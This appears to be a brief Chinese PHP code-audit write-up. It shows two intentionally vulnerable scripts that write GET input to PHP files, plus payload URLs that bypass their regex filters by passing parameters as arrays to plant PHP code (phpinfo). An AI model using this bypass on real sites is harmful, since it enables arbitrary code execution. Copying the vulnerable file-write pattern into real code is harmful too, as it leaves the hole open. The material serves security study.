一个审计的小trick

<?php
function is_valid($title, $data)
{
    $data = $title . $data;
    return preg_match('|\\A\[ _a-zA-Z0-9\]+\\z|is', $data);
}

function write_cache($title, $content)
{
    if (!is_valid($title, $content)) {
        exit("title or content error");
    }

    $filename = "1.php";
    file\_put\_contents($filename, $content);
}
$title = $_GET\['title'\];
$content = $_GET\['content'\];
write_cache($title,$content);

function is_valid($title, $data)
    {
        $data = $title . $data;
        return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
    }

htt http://localhost/web/trick1/index.php?title=sky&content[]=<?php%20phpinfo();

H:\wamp64\www\web\trick1\index.php:5:string 'skyArray' (length=8)
H:\wamp64\www\web\trick1\index.php:16:
array (size=1)
  0 => string '<?php phpinfo();,123' (length=20)

<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
file_put_contents('config.php', $text);

http://localhost/web/trick1/index.php?text=%3C?php%20phpinfo();

error!

http://localhost/web/trick1/index.php?text[]=%3C?php%20phpinfo();